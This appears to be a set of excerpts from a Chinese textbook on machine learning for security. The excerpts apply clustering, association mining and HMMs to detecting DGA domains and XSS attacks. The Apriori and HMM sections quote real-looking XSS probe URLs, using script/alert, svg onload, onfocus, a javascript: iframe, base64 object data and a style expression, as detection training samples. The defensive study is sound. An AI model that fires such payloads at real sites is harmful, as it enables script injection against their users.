    {"text": "计算两个域名之间的jarccard系数的方法为： def count2string_jarccard_index(a,b): x=set(' '+a[0]) y=set(' '+b[0]) for i in range(0,len(a)-1): x.add(a[i]+a[i+1]) x.add(a[len(a)-1]+' ') for i in range(0,len(b)-1): y.add(b[i]+b[i+1]) y.add(b[len(b)-1]+' ') return (0.0+len(x-y))/len(x|y) 计算两个域名集合的平均jarccard系数的方法为： def get_jarccard_index(a_list,b_list): x=[] y=[] for a in a_list: j=0.0 for b in b_list: j+=count2string_jarccard_index(a,b) x.append(len(a)) y.append(j/len(b_list)) return x,y 分别获取两个僵尸网络DGA域名数据以及alexa域名数据，并计算jarccard系数比例： x1_domain_list = load_alexa(\"../data/top-1000.csv\") x_1,y_1=get_jarccard_index(x1_domain_list,x1_domain_list) x2_domain_list = load_dga(\"../data/dga-cryptolocke-1000.txt\") x_2,y_2=get_jarccard_index(x2_domain_list,x1_domain_list) x3_domain_list = load_dga(\"../data/dga-post-tovar-goz-1000.txt\") x_3,y_3=get_jarccard_index(x3_domain_list,x1_domain_list) 以域名长度为横轴，平均jarccard系数为纵轴作图，结果如图9-16所示。"},
    {"text": "4.HMM系数 正常人通常在取域名的时候，都会偏向选取常见的几个单词组合，抽象成数学可以理解的语言，因此，以常见英文单词训练HMM模型，正常域名的HMM系数偏高，僵尸网络DGA域名由于是随机生成的，所以HMM系数偏低。"},
    {"text": "9.4.3 模型验证 得到特征化的向量后，可使用SVM算法进行验证，如图9-18所示，这里就不赘述了。 图9-18 SVM验证DGA示意图 9.5 本章小结 本章介绍了支持向量基的基本原理，并以XSS检测以及DGA家族区分为例，展示了SVM的基本用法。支持向量机作为机器学习算法领域中的网红，一直在众多应用中发挥着重要作用。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · https://www.reddit.com/r/MachineLearning/comments/15zrpp/please_explain_support_vector_machines_svm_like_i/ · http://blog.csdn.NET/lvhao92/article/details/50817110 · http://blog.csdn.net/v_july_v/article/details/7624837 · http://www.freebuf.com/articles/network/114693.html 还有一些参考文献值得一读： [1] Bilge L，Kirda E，Kruegel C，Balduzzi M.Exposure：Finding MaliciousDomains Using Passive DNS Analysis.Network&Distributed System Security Symposium，2011. [2] J Choi，H Kim，C Choi，P Kim.Efficient Malicious Code Detection Using N-Gram Analysis and SVM.International Conference on Network-based Information Systems，2011，16（1）：618-621 [3] B Zhang，J Yin，J Hao.Intelligent Detection Computer Viruses Based on Multiple Classifiers.Ubiquitous Intelligence and Computing，2007. 第10章 K-Means与DBSCAN算法 K-Means和DBSCAN是我们介绍的第一批无监督算法，相对于需要人工标记的有监督学习，无监督算法在数据处理环节的工作量确实少一些。本章将介绍K-Means算法和DBSCAN算法的基本概念，并给出基本的使用方式。然后介绍如何使用K-Means算法检测DGA域名。 10.1 K-Means算法概述 从前有一群猴子，过着简单而快乐的生活。有一天，其中两只猴子因为小事争吵起来，最终一发不可收拾，两个猴子势不两立。从此这两只猴子就开始拉帮结派，把觉得和自己合的来的拉到一起，于是猴群分裂成了两拨。第一拨的猴子里面，带头的猴子统治得很顺利，第二拨猴子里面，突然又有一只猴子雄起了，打败了原来的猴王（见图10-1），成为了新的猴王，最终猴群的派系和管理层都稳定了下来，划分成了两拨猴子，完成了聚类。这其实就是个K-Means算法的案例。 K-Means算法是最为经典的基于划分的聚类方法，它的中心思想是，以空间中k个点为中心进行聚类，通过迭代的方法，逐次更新各聚类中心的值，直至得到最好的聚类结果。简单描述上面提到的猴子拉帮结伙的步骤为： ·首先，从n个数据对象任意选择k个对象作为初始聚类中心；而对于所剩下的其他对象，则根据它们与这些聚类中心的相似度（距离），分别将它们分配给与其最相似的（聚类中心所代表的）聚类。 ·然后，再计算每个所获新聚类的聚类中心（该聚类中所有对象的均值）。 ·不断重复这一过程直到标准测度函数开始收敛为止。 图10-1 猴子争霸 可视化这一过程如图10-2所示。 图10-2 K-Means算法过程演示图 10.2 示例：hello world！K-Means 我们先演示K-Means的基础使用，完整演示代码请见本书GitHub上的10-1.py。 加载K-Means库： import numpy as np import matplotlib.pyplot as plt from sklearn.cluster import K-Means from sklearn.datasets import make_blobs 生成测试样本： n_samples = 1500 random_state = 170 X, y = make_blobs(n_samples=n_samples, random_state=random_state) 进行聚类，指定聚类个数为3： y_pred = KMeans(n_clusters=3, random_state=random_state).fit_predict(X) 可视化结果如下，图10-3为实例图。 plt.subplot(221) plt.scatter(X[:, 0], X[:, 1], c=y_pred) plt.title(\"hello word!\") plt.show() 图10-3 K-Means算法实例图"},
    {"text": "10.3 示例：使用K-Means算法检测DGA域名 域名生成算法（Domain Generation Algorithm，DGA）是一项古老但一直活跃的技术，是中心结构僵尸网络赖以生存的关键武器，该技术给打击和关闭该类型僵尸网络造成了不小的麻烦，研究人员需要快速掌握域名生成算法和输入，对生成的域名及时进行处置。我们使用K-Means算法进行聚类，观察DGA与正常域名的聚类情况。DGA详细内容请阅读第12章，完整演示代码请见本书GitHub上的10-2.py。 1.数据搜集和数据清洗 加载alexa前100的域名作为白样本，标记为0；分别加载cryptolocker和post-tovar-goz家族的DGA域名，分别标记为2和3： x1_domain_list = load_alexa(\"../data/dga/top-100.csv\") x2_domain_list = load_dga(\"../data/dga/dga-cryptolocke-50.txt\") x3_domain_list = load_dga(\"../data/dga/dga-post-tovar-goz-50.txt\") x_domain_list=np.concatenate((x1_domain_list, x2_domain_list,x3_domain_list)) y1=[0]*len(x1_domain_list) y2=[1]*len(x2_domain_list) y3=[2]*len(x3_domain_list) y=np.concatenate((y1, y2,y3)) 2.特征化 特征化过程如图10-4所示。 图10-4 DGA域名2-gram处理 以2-gram分隔域名，切割单元为字符，以整个数据集合的2-gram结果作为词汇表并进行映射，得到特征化的向量： cv = CountVectorizer(ngram_range=(2, 2), decode_error=\"ignore\", token_pattern=r\"\\w\", min_df=1) x= cv.fit_transform(x_domain_list).toarray() 3.训练样本 实例化K-Means算法： model=KMeans(n_clusters=2, random_state=random_state) y_pred = model.fit_predict(x) 4.效果验证 使用TSNE将高维向量降维，便于作图： tsne = TSNE(learning_rate=100) x=tsne.fit_transform(x) 可视化聚类效果（见图10-5），其中DGA域名使用符号“×”标识： for i,label in enumerate(x): x1,x2=x[i] if y_pred[i] == 1: plt.scatter(x1,x2,marker='o') else: plt.scatter(x1, x2,marker='x') plt.show() 图10-5 DGA与正常域名聚类效果 10.4 DBSCAN算法概述 还是前面讲的这群猴子，这回不限制小团体个数，也不指定初始的猴王是哪些，只限定最小的猴群成员个数，只要猴子有能耐，可以召集足够数量的追随者，都可以自立为王。于是，经过几轮打拼，形成了好几拨小猴群，每个猴群都有自己的猴王。这就是DBSCAN做聚类。 具有噪声的基于密度的聚类方法（Density-Based Spatial Clustering of Applications with Noise，DBSCAN）是一个比较有代表性的基于密度的聚类算法。与划分和层次聚类方法不同，它将簇定义为密度相连的点的最大集合，能够把具有足够高密度的区域划分为簇，并可在噪声的空间数据库中发现任意形状的聚类。 与K-Means方法相比，DBSCAN不需要事先知道要形成的簇类的数量，就可以发现任意形状的簇类，并能够识别出噪声点。 10.5 示例：hello world！DBSCAN 我们演示DBSCAN的基础使用，完整演示代码请见本书GitHub上的10-3.py。 DBSCAN核心函数为： DBSCAN(eps=0.5, min_samples=5, metric='euclidean', algorithm='auto', leaf_size=30, p=None, n_jobs=1) 其中，主要参数为： ·eps，同一聚类集合中两个样本的最大距离。 ·min_samples，同一聚类集合中最小样本数。 ·algorithm，算法，分为‘auto’‘ball_tree’‘kd_tree’‘brute’。 ·leaf_size，使用BallTree或者cKDTree算法时叶子节点个数。 ·n_jobs，并发任务数。 加载DBSCAN库： import numpy as np from sklearn.cluster import DBSCAN from sklearn import metrics from sklearn.datasets.samples_generator import make_blobs from sklearn.preprocessing import StandardScaler import matplotlib.pyplot as plt 创建测试样本： centers = [[1, 1], [-1, -1], [1, -1]] X, labels_true = make_blobs(n_samples=750, centers=centers, cluster_std=0.4, random_state=0) X = StandardScaler().fit_transform(X) 运行DBSCAN算法，eps设置为0.3，最小样本数为10： db = DBSCAN(eps=0.3, min_samples=10).fit(X) core_samples_mask = np.zeros_like(db.labels_, dtype=bool) core_samples_mask[db.core_sample_indices_] = True labels = db.labels_ 设置可视化需要的数据： colors = plt.cm.Spectral(np.linspace(0, 1, len(unique_labels))) for k, col in zip(unique_labels, colors): if k == -1: col = 'k' class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor='k', markersize=14) xy = X[class_member_mask & ~core_samples_mask] 可视化展现： plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor='k', markersize=6) plt.show() 结果如图10-6所示。 图10-6 DBSCAN算法实例图 10.6 本章小结 本章重点介绍K-Means算法和DBSCAN算法的基础知识。相对于K-Means，DBSCAN算法不需要设置初始化点，基本实现了全自动化聚类，这确实很方便，特征提取合理的话，聚类的结果非常接近人类的认知。"},
    {"text": "参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到该网站进一步了解更多信息： http://www.freebuf.com/articles/network/114693.html 。 还有一些参考文献值得一读： [1] Antonakakis M，Perdisci R，Dagon D，Lee W，Feamster N.Building a Dynamic Reputation System for DNS.Usenix Security Symposium，2010：273-290. [2] Antonakakis M，Perdisci R，Lee W，Vasiloglou N，Dagon D.Detecting Malware Domains at the Upper DNS Hierarchy.Usenix Conference on Security，2011：27-27. [3] Bilge L，Kirda E，Kruegel C，Balduzzi M.Exposure：Finding Malicious Domains Using Passive DNS Analysis.Network&Distributed System Security Symposium，2011. 第11章 Apriori与FP-growth算法 Apriori和FP-growth算法是我们介绍的第一批关联算法，它们也属于无监督算法，可以自动从数据中挖掘出潜在的关联关系。尿布和啤酒的故事几乎是大数据科普文章中出现效率最高的成功案例，本章将结合这个故事来介绍Apriori算法的基本概念，及基本的使用方式。然后介绍FP-growth算法的基本概念及其应用。 11.1 Apriori算法概述 关联规则挖掘通常是无监督学习，通过分析数据集，挖掘出潜在的关联规则，最典型的一个例子就是尿布和啤酒的故事（见图11-1）。相传沃尔玛的数据分析人员通过分析大量购物清单发现，相当一部分消费者会同时购买尿布和啤酒，结果他们把尿布和啤酒赫然摆在一起出售，结果销量双双增长。关联规则分析的结果是客观现象的体现，有的显而易见，比如同时购买三文鱼和芥末，有的勉强可以解释，比如尿布和啤酒，有的就匪夷所思，比如打火机和奶酪。关联算法中最著名的就是Apriori算法。 首先介绍三个基本概念：支持度、置信度、频繁k项集。 支持度 ，P（A∩B），既有A又有B的概率，它表现的是A和B两个事件相对整个数据集合同时发生的频繁程度，比如尿布和啤酒的支持度是0.2，表明有20%的消费清单中，消费者同时购买了尿布和啤酒。 置信度 ，P（B|A），在A发生的事件中同时发生B的概率P（AB）/P（A），它表现的是在AB两个事件的相关程度，和整个数据集合的大小没有关系，比如尿布和啤酒的置信度为0.8，表明在同时购买了两者的消费者中，购买尿布的80%又购买了啤酒。 图11-1 沃尔玛经典案例尿不湿和啤酒的故事 需要特别说明的是，P（A∩B）=P（B∩A），但是P（B|A）和P（A|B）是两回事。如果事件A中包含k个元素，那么称这个事件A。为k项集事件A。满足最小支持度阈值的事件称为 频繁k项集 。 Apriori算法就是挖掘同时满足最小支持度阈值和最小置信度阈值的关联规则。Apriori算法使用频繁项集的先验知识，使用一种称为“逐层搜索”的迭代方法，k项集用于探索（k+1）项集。首先，通过扫描事务（交易）记录，找出所有的频繁1项集，该集合记做L1，然后利用L1找频繁2项集的集合L2，L2找L3，如此下去，直到不能再找到任何频繁k项集。最后再在所有的频繁集中找出强规则，即产生用户感兴趣的关联规则。其中，Apriori算法具有这样一条性质：任一频繁项集的所有非空子集也必须是频繁的。因为假如P（I）<最小支持度阈值，当有元素A添加到I中时，结果项集（A∩I）不可能比I出现次数更多，因此A∩I也不是频繁的。 主流的机器学习库对Apriori支持很少，不过Apriori的实现的确比较简单，网上资源很多，建议看Peter Harrington的《机器学习实战》，完整演示代码请见本书GitHub上的11-1.py。下面介绍Apriori算法的基本步骤。 假设数据库中存在下面四条购物记录： ·ACD ·BCE ·ABCE ·BE 扫描数据库并计数，计算每个商品对应的支持度，如图11-2所示。 图11-2 Apriori算法第一步 根据设置的支持度筛选满足需求的L1，如图11-3所示。 两两连接，获得新的数据集合，并重新扫描计数。如图11-4所示。 图11-3 Apriori算法第二步 图11-4 Apriori算法第三步 如此循环，直到出现满足设置的支持度的全部集合出现。完整演示代码请见本书GitHub上的11-1.py。 11.2 示例：hello world！Apriori Apriori实现后封装的函数如下，其中support代表支持度，minConf代表置信度： L, suppData = Apriori(myDat, support=0.5) rules = generateRules(L, suppData, minConf=0.5) 假设我们需要从下列数据中挖掘频繁项集： myDat = [ [ 1, 3, 4 ], [ 2, 3, 5 ], [ 1, 2, 3, 5 ], [ 2, 5 ] ] 满足的条件为支持度为0.5，置信度为0.7： L, suppData = apriori(myDat, 0.5) rules = generateRules(L, suppData, minConf=0.7) print 'rules:\\n', rules 输出结果为： frozenset([1]) --> frozenset([3]) conf: 1.0 frozenset([5]) --> frozenset([2]) conf: 1.0 frozenset([2]) --> frozenset([5]) conf: 1.0 rules: [(frozenset([1]), frozenset([3]), 1.0), (frozenset([5]), frozenset([2]), 1.0), (frozenset([2]), frozenset([5]), 1.0)]"},
    {"text": "11.3 示例：使用Apriori算法挖掘XSS相关参数 在安全领域，Apriori的应用非常广泛，凡是需要挖掘潜在关联关系的都可以尝试使用，比如关联WAF的accesslog与后端数据库的sqllog，识别SSH操作日志中异常操作等。"},
    {"text": "我们从xssed网站的样例以及WAF的拦截日志中提取XSS攻击日志作为样本，示例日志如下： /0_1/?%22onmouseover='prompt(42873)'bad=%22%3E /0_1/api.php?op=map&maptype=1&city=test%3Cscript%3Ealert%28/42873/%29%3C/script%3E /0_1/api.php?op=map&maptype=1&defaultcity=%e5%22;alert%28/42873/%29;// 我们目标是分析出潜在的关联关系，然后作为SVM、KNN等分类算法的特征提取依据之一。"},
    {"text": "机器没有办法直接识别日志，需要逐行将日志文本向量化，最简单的方式就是按照一定的分割符切割成单词向量，示例代码如下： myDat=[] with open(\"xss-train.txt\") as f: for line in f: tokens=re.split('\\=|&|\\?|\\%3e|\\%3c|\\%3E|\\%3C|\\%20|\\%22|<|>|\\\\n|\\(|\\)|\\'|\\\"|;|:|,',line) myDat.append(tokens) f.close() 切割后的向量示例如下： ['/0_1/', '', 'onmouseover', '', 'prompt', '42873', '', 'bad', '', '', '', ''] ['/0_1/api.php', 'op', 'map', 'maptype', '1', 'city', 'test', 'script', 'alert%28/42873/%29', '/script', '', ''] 我们以十分严格的置信度来运行，试图找到关联关系接近100%的情况： L, suppData = Apriori(myDat, 0.1) rules = generateRules(L, suppData, minConf=0.99) 有趣的现象出现了： frozenset(['//', '1']) --> frozenset(['', 'alert']) conf: 1.0 frozenset(['1', 'script']) --> frozenset(['', '/script']) conf: 1.0 frozenset(['a', 'c']) --> frozenset(['', 'm']) conf: 1.0 frozenset(['1', '/', 'script']) --> frozenset(['', '/script']) conf: 1.0 frozenset(['1', 'alert', 'script']) --> frozenset(['', '/script']) conf: 1.0 frozenset(['alert', '/', 'script']) --> frozenset(['', '/script']) conf: 0.997416020672 frozenset(['1', 'alert', '/', 'script']) --> frozenset(['', '/script']) conf: 1.0 有些结果容易理解，比如'script'和'1'、'alert'出现的话，会100%地导致'/script'。"},
    {"text": "我们进一步降低门槛，将支持度也下降到0.001，这意味着即使对应的关联关系出现的概率只有千分之一，只要它对应的是强关联，置信度超过0.99，我们也认为这是一种有价值的关联： L, suppData = Apriori(myDat, 0.001) rules = generateRules(L, suppData, minConf=0.99) 这个学习过程会比较慢，我们选取了部分结果： frozenset(['version']) --> frozenset(['', 'base64', '0FEBF34C4A2EBF825F60025D6C0576F2', 'signMsg', 'text/html', 'object', 'PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4', 'data']) conf: 1.0 frozenset(['signMsg']) --> frozenset(['', 'object', '0FEBF34C4A2EBF825F60025D6C0576F2', 'version', 'text/html', 'base64', 'PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4', 'data']) conf: 1.0 frozenset(['0FEBF34C4A2EBF825F60025D6C0576F2']) --> frozenset(['', 'object', 'signMsg', 'text/html', 'base64', 'PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4', 'version', 'data']) conf: 1.0 我们通过关联挖掘识别一种潜在的关联关系：'object''base64''data''text/html'。"},
    {"text": "'object''base64''data''text/html'对应举例： /0/252/admin/receive.php?signMsg=0FEBF34C4A2EBF825F60025D6C0576F2&version=%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E alert script 1对应举例： /0/252/include/dialog/select_media.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E script prompt对应举例： /0_1/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E script svg onload alert对应举例： /commonDetail.asp?infotype=1\"'></textarea></script><svg onload=alert `43873`>&id=461 textarea autofocus onfocus alert对应举例： /index.php?siteid=1&a=sg\"'></textarea></script><textarea autofocus onfocus=alert(2014)>&nszixunid=291&m=nszixun src javascript iframe对应举例： /%22/e/?xss_test%3Ciframe%20src=javascript:this[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](%2242873%22)%3E style expression alert对应举例： /144/user.php?back_act=http://127.0.0.1%22style=x:expression(alert(42873))%3E"},
    {"text": "11.4 FP-growth算法概述 FP-growth算法基于Apriori构建，但采用了高级的数据结构减少扫描次数，大大加快了算法速度。FP-growth算法只需要对数据库进行两次扫描，而Apriori算法对于每个潜在的频繁项集都会扫描数据集判定给定模式是否频繁，因此FP-growth算法的速度要比Apriori算法快。 FP-growth算法发现频繁项集的基本过程如下： ·构建FP树； ·从FP树中挖掘频繁项集。 FP-growth算法将数据存储在一种称为FP树的紧凑数据结构中。FP代表频繁模式。一棵FP树看上去与计算机科学中的其他树结构类似，但是它通过链接来连接相似元素，被连起来的元素项可以看成一个链表。图11-5给出了FP树的一个例子。 图11-5 FP树结构举例 与搜索树不同的是，一个元素项可以在一棵FP树种出现多次。FP树辉存储项集的出现频率，而每个项集会以路径的方式存储在数中。存在相似元素的集合会共享树的一部分。只有当集合之间完全不同时，树才会分叉。树节点上给出集合中的单个元素及其在序列中的出现次数，路径会给出该序列的出现次数。相似项之间的链接称为节点链接，用于快速发现相似项的位置。 假设数据库中存在下面六条购物记录： ·r，z，h，j，p ·z，y，x，w，v，u，t，s ·z ·r，x，n，o，s ·y，r，x，z，q，t，p ·y，z，x，e，q，s，t，m 元素项z出现了5次，集合{r，z}出现了1次。于是可以得出结论：z一定是自己本身或者和其他符号一起出现了4次。集合{t，s，y，x，z}出现了2次，集合{t，r，y，x，z}出现了1次，z本身单独出现1次。就像这样，FP树的解读方式是读取某个节点开始到根节点的路径。路径上的元素构成一个频繁项集，开始节点的值表示这个项集的支持度。我们可以快速读出项集{z}的支持度为5、项集{t，s，y，x，z}的支持度为2、项集{r，y，x，z}的支持度为1、项集{r，s，x}的支持度为1。FP树中会多次出现相同的元素项，也是因为同一个元素项会存在于多条路径，构成多个频繁项集。但是频繁项集的共享路径是会合并的，如上图中的{t，s，y，x，z}和{t，r，y，x，z} 和之前一样，我们取一个最小阈值，出现次数低于最小阈值的元素项将被直接忽略。最小支持度设为3，所以q和p没有在FP中出现如图11-6所示。 图11-6 FP树构建过程 11.5 示例：hello world！FP-growth FP-growth算法有大量的开源实现，其中名气较大的是pyfpgrowth。完整演示代码请见本书GitHub上的11-3.py。pyfpgrowth的安装非常简单： pip install pyfpgrowth pyfpgrowth实现后封装的函数如下，其中support代表支持度，minConf代表置信度： patterns = pyfpgrowth.find_frequent_patterns(transactions, support) rules = pyfpgrowth.generate_association_rules(patterns, minConf) 假设我们需要从下列数据中挖掘频繁项集： transactions = [[1, 2, 5], [2, 4], [2, 3], [1, 2, 4], [1, 3], [2, 3], [1, 3], [1, 2, 3, 5], [1, 2, 3]] 满足的条件为支持度为2，置信度为0.7： patterns = pyfpgrowth.find_frequent_patterns(transactions, 2) rules = pyfpgrowth.generate_association_rules(patterns, 0.7) 输出结果为： {(1, 5): ((2,), 1.0), (5,): ((1, 2), 1.0), (2, 5): ((1,), 1.0), (4,): ((2,), 1.0)} 11.6 示例：使用FP-growth算法挖掘疑似僵尸主机 在互联网环境下存在大量的僵尸主机的扫描行为，僵尸主机频繁更换IP，很难通过IP确定僵尸主机。通过使用FP-growth算法，分析防火墙的拦截日志，挖掘出浏览器的user-agent字段和被攻击的目标URL之间的关联关系，初步确定潜在的僵尸主机。完整演示代码请见本书GitHub上的11-4.py。 使用测试数据，其中ip表示攻击源ip，ua表示浏览器的user-agent字段，target表示被攻击的目标URL： ip=ip1,ua=ua1,target=url1 ip=ip2,ua=ua1,target=url1 ip=ip3,ua=ua1,target=url1 ip=ip1,ua=ua1,target=url2 ip=ip2,ua=ua1,target=url2 ip=ip3,ua=ua1,target=url2 ip=ip4,ua=ua2,target=url2 ip=ip5,ua=ua3,target=url2 ip=ip5,ua=ua6,target=url6 ip=ip6,ua=ua3,target=url4 ip=ip7,ua=ua4,target=url4 ip=ip8,ua=ua5,target=url5 逐行读取测试数据文件，提取ip、ua和target字段，添加到transactions变量中： with open(\"../data/KnowledgeGraph/sample7.txt\") as f: for line in f: line=line.strip('\\n') ip,ua,target=line.split(',') print \"Add (%s %s %s)\" % (ip,ua,target) transactions.append([ip,ua,target]) 建设满足的条件为支持度为3，置信度为0.7的即认为是疑似僵尸主机： patterns = pyfpgrowth.find_frequent_patterns(transactions, 3) rules = pyfpgrowth.generate_association_rules(patterns, 0.9) 经过FP-growth算法挖掘，满足条件的结果为： {('target=url1',): (('ua=ua1',), 1.0)}"},
    {"text": "11.7 本章小结 本章介绍了大名鼎鼎的尿布算法，即Apriori和FP-growth。在实际问题中关联算法通常作为其他算法的辅助手段，所以本章主要介绍基本概念和基本用法。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://blog.csdn.net/lizhengnanhua/article/details/9061755 · https://wenku.baidu.com/view/01536f13a21614791711286b.html 还有以下参考文献值得一读： [1] Peter Harrington，机器学习实战[M]，李锐，李鹏，曲亚东，等译.北京：人民邮电出版社，2013. 第12章 隐式马尔可夫算法 隐式马尔可夫算法特别适合处理时序数据，善于挖掘时序数据前后的关系，常常应用于语音识别和自然语言处理领域。在网络安全领域也广泛存在时序数据，比如网站的访问顺序、系统调用的顺序、管理员的操作命令等，都适合这种算法。本章将介绍隐式马尔可夫算法的基本概念，并给出基本的使用方式，并介绍基于不同的特征提取方式使用隐式马尔可夫算法来识别XSS攻击，以及如何使用隐式马尔可夫算法识别DGA域名。 12.1 隐式马尔可夫算法概述 现实世界中有一类问题具有明显的时序性，比如路口红绿灯、连续几天的天气变化，我们说话的上下文。马尔可夫，俄国数学家，见图12-1，提出著名的马尔可夫链。隐式马尔可夫模型（Hidden Markov Model，HMM）的基础假设是，一个连续的时间序列事件，它的状态由且仅由它前面的N个事件决定，对应的时间序列可以成为N阶马尔可夫链。 图12-1 马尔可夫 假设今天是否有雾霾只由前天和昨天决定，于是就构成了一个二阶马尔可夫链，见图12-2。若昨天和前天都是晴天，那么今天是晴天的概率就是90%。 稍微再复杂点，假设你想知道2000千米外一个城市的雾霾情况，但是你没法直接去当地看到空气情况，手头只有当地风力情况，也就是说空气状态是隐藏的，风力情况是可观察的，需要通过可观察序列推测隐藏序列，如图12-3所示。由于风力确实对雾霾情况有较大影响，甚至可以假设风力大的情况下90%概率是晴天，所以通过样本学习，确实可以达到从前观察序列推测隐藏序列的效果，这就是隐式马尔可夫模型。 图12-2 天气转化 图12-3 结合风力判断雾霾情况 HMMLearn是Python下的一个HMM实现，是从Scikit-Learn独立出来的一个项目，依赖环境如下： ·Python>=2.6； ·NumPy（tested to work with>=1.9.3）； ·SciPy（tested to work with>=0.16.0）； ·Scikit-Learn>=0.16。 安装命令如下： pip install -U --user hmmlearn 12.2 hello world！隐式马尔可夫 完整演示代码请见本书GitHub上的12-1.py。 1.导入相关库 print(__doc__) import numpy as np import matplotlib.pyplot as plt from hmmlearn import hmm 2.训练模型 startprob = np.array([0.6, 0.3, 0.1, 0.0]) # The transition matrix, note that there are no transitions possible # between component 1 and 3 transmat = np.array([[0.7, 0.2, 0.0, 0.1],[0.3, 0.5, 0.2, 0.0], [0.0, 0.3, 0.5, 0.2], [0.2, 0.0, 0.2, 0.6]]) # The means of each component means = np.array([[0.0, 0.0], [0.0, 11.0], [9.0, 10.0], [11.0, -1.0]]) # The covariance of each component covars = .5 * np.tile(np.identity(2), (4, 1, 1)) # Build an HMM instance and set parameters model = hmm.GaussianHMM(n_components=4, covariance_type=\"full\") # Instead of fitting it from the data, we directly set the estimated # parameters, the means and covariance of the components model.startprob_ = startprob model.transmat_ = transmat model.means_ = means model.covars_ = covars 3.可视化 # Generate samples X, Z = model.sample(500) # Plot the sampled data plt.plot(X[:, 0], X[:, 1], \".-\", label=\"observations\", ms=6, mfc=\"orange\", alpha=0.7) # Indicate the component numbers for i, m in enumerate(means): plt.text(m[0], m[1], 'Component %i' % (i + 1), size=17, horizontalalignment='center', bbox=dict(alpha=.7, facecolor='w')) plt.legend(loc='best') plt.show() 结果如图12-4所示。 图12-4 HMM演示代码"},
    {"text": "1.参数建模 常见的基于GET请求的XSS、SQL注入、RCE，其攻击载荷主要集中在请求参数中，以XSS为例： /0_1/include/dialog/select_media.php?userid=%3Cscript%3Ealert(1)%3C/script%3E 正常的http请求中参数的取值范围都是确定的，这里说的确定是指可以用字母数字特殊字符来表示，并非说都可以用1～200这种数值范围来确定。"},
    {"text": "以下面的几条日志为例： /0_1/include/dialog/select_media.php?userid=admin123 /0_1/include/dialog/select_media.php?userid=root /0_1/include/dialog/select_media.php?userid=maidou0806 /0_1/include/dialog/select_media.php?userid=52maidou /0_1/include/dialog/select_media.php?userid=wjq_2014 /0_1/include/dialog/select_media.php?userid=mzc-cxy 肉眼观察可以归纳出userid字段由字母数字和特殊字符'-_'组成，如果你足够强大可以看完上万的正常样本，甚至都可以总结取值范围为由字母、数字、下划线、连字符组成，且长度大于等于4，使用正则表达式即为[0-9a-zA-Z-_]{4，}。"},
    {"text": "以uid字段为例，uid的取值作为观察序列，简化期间可以对uid的取值进行范化，整个模型为三阶HMM，隐藏序列的状态只有四个，S1、S2、S3、S4： ·[a-zA-Z]范化为A；"},
    {"text": "图12-6 HMM状态迁移 隐藏序列就是S1～S4四个状态间循环转化（见图12-6），这个概率称为转移概率矩阵，同时四个状态都有确定的概率，以观察序列中的A、C、N、T 4个状态展现，这个转换的概率称为发射概率矩阵。"},
    {"text": "2.数据处理与特征提取 由于每个域名的每个url的每个参数的范围都可能不一样，有的userid可能是[0-9]{4，}，有的可能是[0-9a-zA-Z-_]{3，}，所以需要按照不同域名的不同url的不同参数分别学习。"},
    {"text": "范化过程如下： def etl(str): vers=[] for i, c in enumerate(str): c=c.lower() if ord(c) >= ord('a') and ord(c) <= ord('z'): vers.append([ord('A')]) elif ord(c) >= ord('0') and ord(c) <= ord('9'): vers.append([ord('N')]) else: vers.append([ord('C')]) return np.array(vers) 友情提示： 为了避免中文等字符的干扰，ASCII值大于127或者小于32的可以不处理直接跳过。"},
    {"text": "从weblog中提取url参数，需要解决url编码、参数抽取等严峻问题，还好Python有现成的接口： with open(filename) as f: for line in f: #切割参数 result = urlparse.urlparse(line) # url解码 query=urllib.unquote(result.query) params = urlparse.parse_qsl(query, True) for k, v in params: #k为参数名，v为参数值 友情提示： urlparse.parse_qsl解析url请求切割参数时，遇到'；"},
    {"text": "需要X_lens的原因是参数样本的长度可能不一致，所以需要单独输入： remodel = hmm.GaussianHMM(n_components=3, covariance_type=\"full\", n_iter=100) remodel.fit(X,X_lens) 训练样本得分为： score:16 query param:admin123 score:9 query param:root score:21 query param:maidou0806 score:16 query param:52maidou score:15 query param:wjq_2014 score:12 query param:mzc-cxy 4.模型验证 HMM模型完成训练后通常可以解决3大类问题：一是输入观察序列获取概率最大的隐藏序列，最典型的应用就是语音解码以及词性标注；"},
    {"text": "我们定义T为阈值，概率低于T的参数识别为异常，通常会定义T比训练集最小值略大，在此例中可以取10： with open(filename) as f: for line in f: # 切割参数 result = urlparse.urlparse(line) # url解码 query = urllib.unquote(result.query) params = urlparse.parse_qsl(query, True) for k, v in params： if ischeck(v) and len(v) >=N : vers = etl(v) pro = remodel.score(vers) if pro <= T: print \"PRO:%d V:%s LINE:%s \" % (pro,v,line) 以userid=%3Cscript%3Ealert（1）%3C/script%3E为例子，经过解码后为<script>alert（1）</script>，范化后为TAAAAAATAAAAATNTTTAAAAAAT，score为-13945，识别为异常。"},
    {"text": "“以白找黑”的优点非常明显，就是理论上可以发现全部基于参数的异常访问，但是，缺点是扫描器访问、代码异常、用户的错误操作、业务代码的升级等，都会产生大量误报；"},
    {"text": "1.参数建模 这次我们换个思路，如图12-7所示，把机器当作一个刚入行的白帽子，我们训练他学会XSS的攻击语法，然后再让机器从访问日志中寻找符合攻击语法的疑似攻击日志。"},
    {"text": "一般思路是将样本分词后，统计每个词的频率，即词频，根据需要选择全部或者部分词作为哈希表键值，并依次对该哈希表编号，这样就可以使用该哈希表对字符串进行编码。"},
    {"text": "图12-7 检测思路原理图 图12-8 攻击载荷序列化 ·词集模型：单词构成的集合，集合中自然每个元素都只有一个，即词集中的每个单词都只有一个。"},
